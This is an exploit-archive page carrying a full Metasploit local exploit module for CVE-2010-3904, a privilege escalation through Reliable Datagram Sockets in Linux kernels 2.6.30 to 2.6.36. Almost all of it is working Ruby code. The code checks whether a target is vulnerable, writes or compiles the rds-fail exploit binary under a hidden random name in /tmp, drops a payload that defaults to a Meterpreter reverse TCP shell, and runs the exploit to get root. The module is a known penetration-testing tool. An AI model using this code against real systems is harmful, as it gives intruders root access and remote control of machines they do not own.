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Reliable Datagram Sockets (RDS) Privilege Escalation

Reliable Datagram Sockets (RDS) Privilege Escalation
Posted May 19, 2018
Authored by Dan Rosenberg, Brendan Coles | Site metasploit.com

This Metasploit module exploits a vulnerability in the rds_page_copy_user function in net/rds/page.c (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8 to execute code as root (CVE-2010-3904). This Metasploit module has been tested successfully on Fedora 13 (i686) with kernel version 2.6.33.3-85.fc13.i686.PAE and Ubuntu 10.04 (x86_64) with kernel version 2.6.32-21-generic.

tags | exploit, kernel, root
systems | linux, fedora, ubuntu
advisories | CVE-2010-3904
MD5 | ca0aaa65162c3d2e20a520b81415f4ae

Reliable Datagram Sockets (RDS) Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Reliable Datagram Sockets (RDS) Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in the rds_page_copy_user function
in net/rds/page.c (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8
to execute code as root (CVE-2010-3904).

This module has been tested successfully on Fedora 13 (i686) with
kernel version 2.6.33.3-85.fc13.i686.PAE and Ubuntu 10.04 (x86_64)
with kernel version 2.6.32-21-generic.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Dan Rosenberg', # Discovery and C exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Oct 20 2010',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'AKA', 'rds-fail.c' ],
[ 'EDB', '15285' ],
[ 'CVE', '2010-3904' ],
[ 'BID', '44219' ],
[ 'URL', 'https://securitytracker.com/id?1024613' ],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=799c10559d60f159ab2232203f222f18fa3c4a5f' ],
[ 'URL', 'http://vulnfactory.org/exploits/rds-fail.c' ],
[ 'URL', 'http://web.archive.org/web/20101020044047/http://www.vsecurity.com/resources/advisory/20101019-1/' ],
[ 'URL', 'http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c' ],
],
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'WfsDelay' => 10,
'PrependFork' => true
},
'DefaultTarget' => 0))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
]
end

def base_dir
datastore['WritableDir'].to_s
end

def modules_disabled?
modules_disabled = cmd_exec('cat /proc/sys/kernel/modules_disabled').to_s.strip
(modules_disabled.eql?('1') || modules_disabled.eql?('2'))
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end

def upload_and_compile(path, data)
upload "#{path}.c", data
output = cmd_exec "gcc -o #{path} #{path}.c"

unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end

cmd_exec "chmod +x #{path}"
register_file_for_cleanup path
end

def exploit_data(file)
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2010-3904', file
fd = ::File.open path, 'rb'
data = fd.read fd.stat.size
fd.close
data
end

def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

if has_gcc?
vprint_good 'gcc is installed'
return true
end

unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end

def check
version = kernel_release
unless Gem::Version.new(version.split('-').first) >= Gem::Version.new('2.6.30') &&
Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.37')
vprint_error "Linux kernel version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Linux kernel version #{version} appears to be vulnerable"

unless cmd_exec('/sbin/modinfo rds').to_s.include? 'Reliable Datagram Sockets'
vprint_error 'RDS kernel module is not available'
return CheckCode::Safe
end
vprint_good 'RDS kernel module is available'

if modules_disabled?
unless cmd_exec('/sbin/lsmod').to_s.include? 'rds'
vprint_error 'RDS kernel module is not loadable'
return CheckCode::Safe
end
end
vprint_good 'RDS kernel module is loadable'

CheckCode::Appears
end

def exploit
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

# Upload exploit executable
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile executable_path, exploit_data('rds-fail.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
arch = kernel_hardware
case arch
when /amd64|ia64|x86_64|x64/i
upload_and_chmodx executable_path, exploit_data('rds-fail.x64')
when /x86|i[3456]86/
upload_and_chmodx executable_path, exploit_data('rds-fail.x86')
else
fail_with Failure::NoTarget, "No pre-compiled binaries are available for system architecture: #{arch}"
end
end

# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe

# Launch exploit
print_status 'Launching exploit...'
output = cmd_exec "#{executable_path} #{payload_path}"
output.each_line { |line| vprint_status line.chomp }
end
end

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